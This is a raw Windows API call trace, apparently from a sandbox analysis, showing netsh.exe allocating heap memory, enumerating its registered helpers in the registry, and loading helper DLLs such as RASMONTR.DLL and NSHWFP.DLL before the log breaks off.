GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1500 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1520 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1540 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1560 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1580 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e15a0 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e15c0 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e15e0 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1600 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1620 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1640 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1660 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1680 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e16a0 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e16c0 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e16e0 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1700 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1720 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1740 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1760 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1780 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e17a0 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e17c0 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e17e0 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1800 [0043.591] GetProcessHeap () returned 0x2c0000 [0043.591] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1820 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1840 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1860 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1880 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e18a0 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e18c0 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e18e0 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1900 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1920 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1940 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1960 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1980 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e19a0 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e19c0 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e19e0 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1a00 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1a20 [0043.592] GetProcessHeap () returned 0x2c0000 [0043.592] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1a40 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1a60 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1a80 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1aa0 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1ac0 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1ae0 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1b00 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1b20 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1b80 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1ba0 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1bc0 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1be0 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1c00 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1c20 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1c40 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.593] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1c60 [0043.593] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1c80 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1ca0 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1cc0 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1ce0 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1d00 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1d20 [0043.594] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0043.594] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x28) returned 0x2d5e60 [0043.594] memcpy (in: _Dst=0x2d5e60, _Src=0x0, _Size=0x0 | out: _Dst=0x2d5e60) returned 0x2d5e60 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2) returned 0x2e2350 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x14) returned 0x2e1d40 [0043.594] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x58) returned 0x2e2370 [0043.594] memcpy (in: _Dst=0x2e2370, _Src=0x0, _Size=0x0 | out: _Dst=0x2e2370) returned 0x2e2370 [0043.594] memcpy (in: _Dst=0x2e2370, _Src=0x207800, _Size=0x28 | out: _Dst=0x2e2370) returned 0x2e2370 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x2c0000) returned 1 [0043.594] GetProcessHeap () returned 0x2c0000 [0043.594] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xb0) returned 0x2e23d0 [0043.594] memcpy (in: _Dst=0x2e23d0, _Src=0x2e2370, _Size=0x58 | out: _Dst=0x2e23d0) returned 0x2e23d0 [0043.595] memcpy (in: _Dst=0x2e2428, _Src=0x207800, _Size=0x28 | out: _Dst=0x2e2428) returned 0x2e2428 [0043.595] GetProcessHeap () returned 0x2c0000 [0043.595] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e2370 | out: hHeap=0x2c0000) returned 1 [0043.595] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x2078a8 | out: phkResult=0x2078a8*=0x90) returned 0x0 [0043.596] RegQueryInfoKeyW (in: hKey=0x90, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2078d0, lpcbMaxValueNameLen=0x2078e0, lpcbMaxValueLen=0x2078d8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2078d0*=0x15, lpcbMaxValueNameLen=0x2078e0, lpcbMaxValueLen=0x2078d8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0043.596] GetProcessHeap () returned 0x2c0000 [0043.596] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x16) returned 0x2e1d60 [0043.596] GetProcessHeap () returned 0x2c0000 [0043.596] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x23) returned 0x2e24c0 [0043.596] RegEnumValueW (in: hKey=0x90, dwIndex=0x0, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="4", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0043.596] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0043.596] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0043.596] GetProcessHeap () returned 0x2c0000 [0043.596] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x50) returned 0x2e2370 [0043.596] memcpy (in: _Dst=0x2e2370, _Src=0x2d5e60, _Size=0x28 | out: _Dst=0x2e2370) returned 0x2e2370 [0043.596] GetProcessHeap () returned 0x2c0000 [0043.596] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4) returned 0x2e2c90 [0043.596] GetProcessHeap () returned 0x2c0000 [0043.596] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x2e24f0 [0043.596] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0043.596] GetProcessHeap () returned 0x2c0000 [0043.597] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d5e60 | out: hHeap=0x2c0000) returned 1 [0043.597] LoadLibraryW (lpLibFileName="RASMONTR.DLL") returned 0x7fef4430000 [0044.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2072c0 | out: lpSystemTimeAsFileTime=0x2072c0*(dwLowDateTime=0xbf080460, dwHighDateTime=0x1d93032)) [0044.522] GetCurrentProcessId () returned 0xf54 [0044.522] GetCurrentThreadId () returned 0xf58 [0044.522] GetTickCount () returned 0x102b55f [0044.522] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x2072c8 | out: lpPerformanceCount=0x2072c8*=1714990943996) returned 1 [0044.523] LoadLibraryA (lpLibFileName="MSVCRT.DLL") returned 0x7fefebb0000 [0044.523] GetVersion () returned 0x1db10106 [0044.523] SetErrorMode (uMode=0x0) returned 0x0 [0044.523] SetErrorMode (uMode=0x8001) returned 0x0 [0044.523] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x2e4620 [0044.525] LocalFree (hMem=0x2e4620) returned 0x0 [0044.525] GetVersion () returned 0x1db10106 [0044.526] GlobalLock (hMem=0x1f10008) returned 0x2e4620 [0044.526] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x2e4840 [0044.526] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x2e32b0 [0044.526] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x2e1d80 [0044.526] malloc (_Size=0x100) returned 0x486170 [0044.526] __dllonexit () returned 0x7fef311621c [0044.527] __dllonexit () returned 0x7fef31166e0 [0044.527] __dllonexit () returned 0x7fef31172b8 [0044.527] __dllonexit () returned 0x7fef31187cc [0044.527] __dllonexit () returned 0x7fef3118d64 [0044.527] __dllonexit () returned 0x7fef3118db4 [0044.527] __dllonexit () returned 0x7fef3118e70 [0044.527] __dllonexit () returned 0x7fef311a308 [0044.527] __dllonexit () returned 0x7fef3118810 [0044.527] __dllonexit () returned 0x7fef3127598 [0044.528] __dllonexit () returned 0x7fef3118880 [0044.528] __dllonexit () returned 0x7fef311a170 [0044.528] __dllonexit () returned 0x7fef311a280 [0044.528] __dllonexit () returned 0x7fef311ad44 [0044.528] __dllonexit () returned 0x7fef311bc30 [0044.528] __dllonexit () returned 0x7fef311bc80 [0044.528] __dllonexit () returned 0x7fef311c338 [0044.528] __dllonexit () returned 0x7fef311d030 [0044.528] __dllonexit () returned 0x7fef31159cc [0044.528] __dllonexit () returned 0x7fef31159f0 [0044.528] __dllonexit () returned 0x7fef3115a1c [0044.530] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc18d [0044.530] __dllonexit () returned 0x7fef3127568 [0044.530] __dllonexit () returned 0x7fef3127574 [0044.530] __dllonexit () returned 0x7fef3127580 [0044.531] __dllonexit () returned 0x7fef312758c [0044.531] GetVersion () returned 0x1db10106 [0044.531] GetVersion () returned 0x1db10106 [0044.531] GetVersion () returned 0x1db10106 [0044.531] __dllonexit () returned 0x7fef307a15c [0044.531] __dllonexit () returned 0x7fef3086610 [0044.531] __dllonexit () returned 0x7fef3118910 [0044.531] __dllonexit () returned 0x7fef3118b90 [0044.531] __dllonexit () returned 0x7fef3118bb4 [0044.531] __dllonexit () returned 0x7fef3096ae0 [0044.531] GetVersion () returned 0x1db10106 [0044.531] GetProcessVersion (ProcessId=0x0) returned 0x60001 [0044.532] GetSystemMetrics (nIndex=11) returned 32 [0044.532] GetSystemMetrics (nIndex=12) returned 32 [0044.532] GetSystemMetrics (nIndex=2) returned 17 [0044.532] GetSystemMetrics (nIndex=3) returned 17 [0044.532] GetDC (hWnd=0x0) returned 0x36010b58 [0044.532] GetDeviceCaps (hdc=0x36010b58, index=88) returned 96 [0044.532] GetDeviceCaps (hdc=0x36010b58, index=90) returned 96 [0044.532] ReleaseDC (hWnd=0x0, hDC=0x36010b58) returned 1 [0044.532] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.532] GetSysColor (nIndex=16) returned 0xa0a0a0 [0044.532] GetSysColor (nIndex=20) returned 0xffffff [0044.532] GetSysColor (nIndex=18) returned 0x0 [0044.532] GetSysColor (nIndex=6) returned 0x646464 [0044.532] GetSysColorBrush (nIndex=15) returned 0x1100059 [0044.532] GetSysColorBrush (nIndex=6) returned 0x1100061 [0044.532] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0044.532] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0044.532] __dllonexit () returned 0x7fef3118f84 [0044.532] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc091 [0044.533] __dllonexit () returned 0x7fef30a3990 [0044.533] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0044.533] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0044.533] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0044.533] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0044.533] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0044.533] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0044.533] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0044.533] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0044.533] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0044.533] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0044.533] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc0b4 [0044.533] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc0ba [0044.533] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc091 [0044.534] __dllonexit () returned 0x7fef31275a4 [0044.534] __dllonexit () returned 0x7fef31275bc [0044.534] __dllonexit () returned 0x7fef31275c8 [0044.534] __dllonexit () returned 0x7fef31275d4 [0044.534] __dllonexit () returned 0x7fef31275e0 [0044.534] GetCursorPos (in: lpPoint=0x7fef31826d8 | out: lpPoint=0x7fef31826d8*(x=947, y=793)) returned 1 [0044.535] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e4b90 [0044.535] LocalReAlloc (hMem=0x2e1d80, uBytes=0x18, uFlags=0x2) returned 0x2e4ca0 [0044.535] GetCurrentThread () returned 0xfffffffffffffffe [0044.535] GetCurrentThreadId () returned 0xf58 [0044.535] __dllonexit () returned 0x7fef311cfa4 [0044.535] SetErrorMode (uMode=0x0) returned 0x8001 [0044.535] SetErrorMode (uMode=0x8001) returned 0x0 [0044.535] GetModuleFileNameW (in: hModule=0x7fef3060000, lpFilename=0x2069b0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0044.535] wcscpy_s (in: _Destination=0x206bc0, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0044.536] FindResourceW (hModule=0x7fef3060000, lpName=0xe01, lpType=0x6) returned 0x2209b0 [0044.571] LoadStringW (in: hInstance=0x7fef3060000, uID=0xe000, lpBuffer=0x206dd0, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0044.571] wcscpy_s (in: _Destination=0x2069e4, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0044.571] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0044.572] malloc (_Size=0x80) returned 0x49df20 [0044.572] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x2e4cc0 [0044.572] GetSystemDirectoryA (in: lpBuffer=0x207050, uSize=0x112 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0044.573] strcat_s (in: _Destination="C:\\Windows\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\Windows\\system32\\MFC42") returned 0x0 [0044.573] strcat_s (in: _Destination="C:\\Windows\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\Windows\\system32\\MFC42LOC") returned 0x0 [0044.573] strcat_s (in: _Destination="C:\\Windows\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\Windows\\system32\\MFC42LOC.DLL") returned 0x0 [0044.573] LoadLibraryExA (lpLibFileName="C:\\Windows\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0044.602] GetProcAddress (hModule=0x7fef4430000, lpProcName="InitHelperDll") returned 0x7fef444cf70 [0044.602] InitHelperDll () returned 0x0 [0044.602] RegisterHelper () returned 0x0 [0044.602] GetProcessHeap () returned 0x2c0000 [0044.602] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x108) returned 0x2e6dd0 [0044.603] memcpy (in: _Dst=0x2e6dd0, _Src=0x2e23d0, _Size=0xb0 | out: _Dst=0x2e6dd0) returned 0x2e6dd0 [0044.603] memcpy (in: _Dst=0x2e6e80, _Src=0x207770, _Size=0x28 | out: _Dst=0x2e6e80) returned 0x2e6e80 [0044.603] GetProcessHeap () returned 0x2c0000 [0044.603] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e23d0 | out: hHeap=0x2c0000) returned 1 [0044.606] RegisterHelper () returned 0x0 [0044.606] GetProcessHeap () returned 0x2c0000 [0044.606] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x160) returned 0x2e6ee0 [0044.606] memcpy (in: _Dst=0x2e6ee0, _Src=0x2e6dd0, _Size=0x108 | out: _Dst=0x2e6ee0) returned 0x2e6ee0 [0044.606] memcpy (in: _Dst=0x2e6fe8, _Src=0x7fef446aa60, _Size=0x28 | out: _Dst=0x2e6fe8) returned 0x2e6fe8 [0044.606] GetProcessHeap () returned 0x2c0000 [0044.607] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e6dd0 | out: hHeap=0x2c0000) returned 1 [0044.607] RegisterHelper () returned 0x0 [0044.607] GetProcessHeap () returned 0x2c0000 [0044.607] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1b8) returned 0x2e7050 [0044.607] memcpy (in: _Dst=0x2e7050, _Src=0x2e6ee0, _Size=0x160 | out: _Dst=0x2e7050) returned 0x2e7050 [0044.607] memcpy (in: _Dst=0x2e71b0, _Src=0x7fef446aa88, _Size=0x28 | out: _Dst=0x2e71b0) returned 0x2e71b0 [0044.607] GetProcessHeap () returned 0x2c0000 [0044.608] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e6ee0 | out: hHeap=0x2c0000) returned 1 [0044.608] RegisterHelper () returned 0x0 [0044.608] GetProcessHeap () returned 0x2c0000 [0044.608] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x210) returned 0x2e6dd0 [0044.608] memcpy (in: _Dst=0x2e6dd0, _Src=0x2e7050, _Size=0x1b8 | out: _Dst=0x2e6dd0) returned 0x2e6dd0 [0044.608] memcpy (in: _Dst=0x2e6f88, _Src=0x7fef446aab0, _Size=0x28 | out: _Dst=0x2e6f88) returned 0x2e6f88 [0044.608] GetProcessHeap () returned 0x2c0000 [0044.608] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e7050 | out: hHeap=0x2c0000) returned 1 [0044.608] RegisterHelper () returned 0x0 [0044.609] GetProcessHeap () returned 0x2c0000 [0044.609] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x268) returned 0x2e6ff0 [0044.609] memcpy (in: _Dst=0x2e6ff0, _Src=0x2e6dd0, _Size=0x210 | out: _Dst=0x2e6ff0) returned 0x2e6ff0 [0044.609] memcpy (in: _Dst=0x2e7200, _Src=0x7fef446aad8, _Size=0x28 | out: _Dst=0x2e7200) returned 0x2e7200 [0044.609] GetProcessHeap () returned 0x2c0000 [0044.609] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e6dd0 | out: hHeap=0x2c0000) returned 1 [0044.609] RegEnumValueW (in: hKey=0x90, dwIndex=0x1, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="nshwfp", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0044.609] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5 [0044.609] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5 [0044.609] GetProcessHeap () returned 0x2c0000 [0044.609] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x78) returned 0x2e23d0 [0044.609] memcpy (in: _Dst=0x2e23d0, _Src=0x2e2370, _Size=0x50 | out: _Dst=0x2e23d0) returned 0x2e23d0 [0044.609] GetProcessHeap () returned 0x2c0000 [0044.609] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xe) returned 0x2e1d80 [0044.609] GetProcessHeap () returned 0x2c0000 [0044.609] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x16) returned 0x2e1da0 [0044.610] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL" [0044.610] GetProcessHeap () returned 0x2c0000 [0044.610] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e2370 | out: hHeap=0x2c0000) returned 1 [0044.610] LoadLibraryW (lpLibFileName="NSHWFP.DLL") returned 0x7fef2ed0000 [0044.698] GetProcAddress (hModule=0x7fef2ed0000, lpProcName="InitHelperDll") returned 0x7fef2f3b6d0 [0044.698] InitHelperDll () returned 0x0 [0044.702] RegisterHelper () returned 0x0 [0044.702] GetProcessHeap () returned 0x2c0000 [0044.702] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x2c0) returned 0x2f1200 [0044.702] memcpy (in: _Dst=0x2f1200, _Src=0x2e6ff0, _Size=0x268 | out: _Dst=0x2f1200) returned 0x2f1200 [0044.702] memcpy (in: _Dst=0x2f1468, _Src=0x207770, _Size=0x28 | out: _Dst=0x2f1468) returned 0x2f1468 [0044.702] GetProcessHeap () returned 0x2c0000 [0044.703] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, 